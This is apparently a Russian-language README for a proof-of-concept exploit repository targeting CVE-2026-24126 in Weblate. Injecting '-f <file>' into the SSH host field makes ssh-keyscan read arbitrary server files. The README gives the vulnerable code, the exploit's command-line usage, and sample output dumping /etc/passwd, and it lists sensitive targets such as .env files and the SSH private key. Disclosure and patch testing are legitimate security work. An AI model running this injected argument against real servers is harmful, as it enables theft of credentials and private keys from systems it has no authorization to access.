
Доказательство концепции эксплуатации для CVE-2026-24126 — произвольное чтение файлов в Weblate через внедрение аргумента SSH-хоста, позволяющее аутентифицированным администраторам читать файлы сервера.
Обнаружено: Alejandro Baño · Январь 2026 Подтверждено: Примечания к выпуску Weblate 5.16
Конечная точка управления SSH-ключами Weblate передаёт параметр host, предоставленный аутентифицированным администратором, напрямую в ssh-keyscan без какой-либо санитизации или проверки аргументов. Поскольку ssh-keyscan принимает флаг -f <file> для чтения имён хостов из файла, злоумышленник с учётными данными администратора может внедрить этот флаг в качестве значения хоста и заставить сервер открыть произвольный локальный файл. Результирующий вывод ошибок (или stdout) дословно отражается обратно в браузер внутри блока сообщения об ошибке, раскрывая содержимое файла.
| Поле | Значение |
|---|---|
| Цель | Weblate (самостоятельно размещённые экземпляры) |
| Компонент | Управление SSH-ключами — weblate/ssh/views.py · add_host_key() |
| Требуется аутентификация | Да — учётная запись администратора Weblate |
| Затронутые версии | Все версии ≤ 5.15.2 (протестировано в 5.0.2 и 5.15.2) |
| Воздействие | Произвольное чтение локальных файлов от имени пользователя веб-сервера (weblate, www-data и т. д.) |
| CVSS v3 | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L |
| CVE | CVE-2026-24126 |
# weblate/ssh/views.py — упрощённо
def add_host_key(request, host, port=""):
cmdline = ["ssh-keyscan"]
if port:
cmdline.extend(["-p", str(port)])
cmdline.append(host) # ← host добавляется без проверки
result = subprocess.run(cmdline, ...)
Значение host поступает напрямую из поля host тела POST-запроса без белого списка, без удаления ведущих дефисов и без терминатора аргументов -- перед значением, предоставленным пользователем. Это позволяет злоумышленнику внедрить любой флаг ssh-keyscan.
ssh-keyscan -f /etc/passwd читает /etc/passwd как список имён хостов, не может разрешить каждую строку и генерирует вывод ошибок для каждой из них. Этот вывод ошибок распространяется через обработчик CalledProcessError и отображается внутри блока alert-danger в HTTP-ответе.
python3 exploit.py -r https://target.example.com -u admin -p admin123 -f /etc/passwd
| Флаг | Описание |
|---|---|
-r / --rhost | Базовый URL экземпляра Weblate |
-u / --username | Имя пользователя администратора |
-p / --password | Пароль администратора |
-f / --file | Путь к файлу для чтения на сервере |
python3 CVE-2026-24126.py -r http://localhost -u admin -p 'ChangeThisToAStrongPassword' -f /etc/passwd
[+] Вход выполнен успешно для пользователя: admin
[*] Отправка полезной нагрузки на http://localhost/manage/ssh/, это может занять некоторое время, пожалуйста, подождите...
[+] Извлечённое содержимое файла:
--------------------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
weblate:x:1000:1000::/home/weblate:/bin/sh
--------------------------------------------------
[!] Эксплуатация завершена
Любой файл, доступный для чтения пользователю ОС, под которым работает Weblate (обычно пользователь weblate), может быть извлечён с помощью одного аутентифицированного POST-запроса. Чувствительные цели включают:
settings.py, .env, local_settings.py/var/lib/weblate/.ssh/id_rsaОбновитесь до Weblate 5.16.0 или новее. Это официальное исправление, выпущенное командой Weblate 18 февраля 2026 года, которое добавило надлежащую проверку входных данных в поле SSH-хоста.
Этот репозиторий предназначен только для образовательных и авторизованных исследований в области безопасности. Не используйте этот инструмент против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения. Автор не несёт ответственности за неправомерное использование.